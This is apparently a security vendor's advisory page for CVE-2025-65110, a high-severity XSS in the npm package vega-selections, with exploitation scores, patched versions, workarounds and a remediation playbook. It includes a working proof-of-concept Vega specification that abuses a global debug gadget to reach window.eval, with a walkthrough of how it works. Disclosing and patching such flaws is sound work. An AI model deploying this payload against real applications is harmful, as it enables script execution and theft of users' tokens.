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HIGH severity

GHSA-829q-m3qg-ph8r vega-selections

HIGH

GHSA-829q-m3qg-ph8r is a high-severity (CVSS 8.1) Cross-site Scripting (XSS) vulnerability in vega-selections. A fix is available for vega-selections — see the affected versions and patch details below.

Vega XSS via expression abusing vlSelectionTuples function array map calls in environments with satisfactory function gadgets in the global scope

Also known asCVE-2025-65110
Published
Jan 5, 2026
Updated
Feb 3, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-829q-m3qg-ph8r.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-829q-m3qg-ph8r plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

3other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
vega-selectionsnpm
720Kdownloads / week

Description

Impact

Applications meeting these two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.

  1. Use vega in an application that attaches both vega library and a vega.View instance similar to the Vega Editor to the global window, or has any other satisfactory function gadgets in the global scope
  2. Allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code)

Patches

Workarounds

  • Do not attach vega or vega.View instances to global variables or the window as the editor used to do here . This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.

POC Summary

Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that sets a map value with a function copied from the window that results in calling this.foo(this.bar) can be passed to the vlSelectionTuples function, calling the copied map function, allowing DOM XSS to be achieved.

In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.

vlSelectionTuples({
    map: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,
    eventName: event.view.console.log,
    _handlers:{
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})

POC Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "vlSelectionTuples({map:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})"
        }
      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the map function of the provided object is called by the code that implements the vlSelectionTuples function. The map function has been set to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }
  1. Set u to the result of calling this.eventName with undefined
    • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
  2. Sets d to this._handlers
    • For our object, we have this defined to be used later
  3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
    • For our object, _handlerIndex is set to window.eval, and when indexing undefined into the _handlers, a string to be evald containing the XSS payload is returned.

This results in XSS by using a globally scoped gadget to get full blown eval.

PoC Link

Navigate here, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.

For a PoC that works even with the AST evaluator, abusing function call gadgets to get access to window.eval with more advanced gadgets, navigate here

Future investigation

In cases where VEGA_DEBUG is not enabled, there could theoretically be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to eval, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval). As of this writing, no such globally scoped universal gadgets have been found.

Recommended Fix

In the selectionTuples implementation that backs the vulnerable function call, the code should be changed to check Array.isArray(array) before calling a potentially dangerous user provided .map on the array argument.

Impact

This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.

An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmvega-selectionsall versions5.6.3npm install vega-selections@5.6.3
📦npmvega-selections6.0.0&&< 6.1.26.1.2npm install vega-selections@6.1.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vega-selections, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update vega-selections to 5.6.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-829q-m3qg-ph8r is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-829q-m3qg-ph8r can be triaged on real exposure rather than presence alone.

Tailored to GHSA-829q-m3qg-ph8r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Impact Applications meeting these two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" [expressionInterpreter](https://vega.github.io/vega/usage/interpreter/) is used. 1. Use `vega` in an application that attaches both `vega` library and a `vega.View` instance similar to the Vega [Editor](https://github.com/vega/editor) to the global `window`, or has any other satisfactory function gadgets in the global scope 2. Allow user-defined Vega `JSON` definitions (vs JSON that was is only provided through source code) ## Patches - With Vega v6, use `vega-select
O3 Security · Impact-Aware SCA

Is GHSA-829q-m3qg-ph8r in your dependencies?

O3 Security finds GHSA-829q-m3qg-ph8r across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-829q-m3qg-ph8r: vega XSS (High 8.1) | O3 Security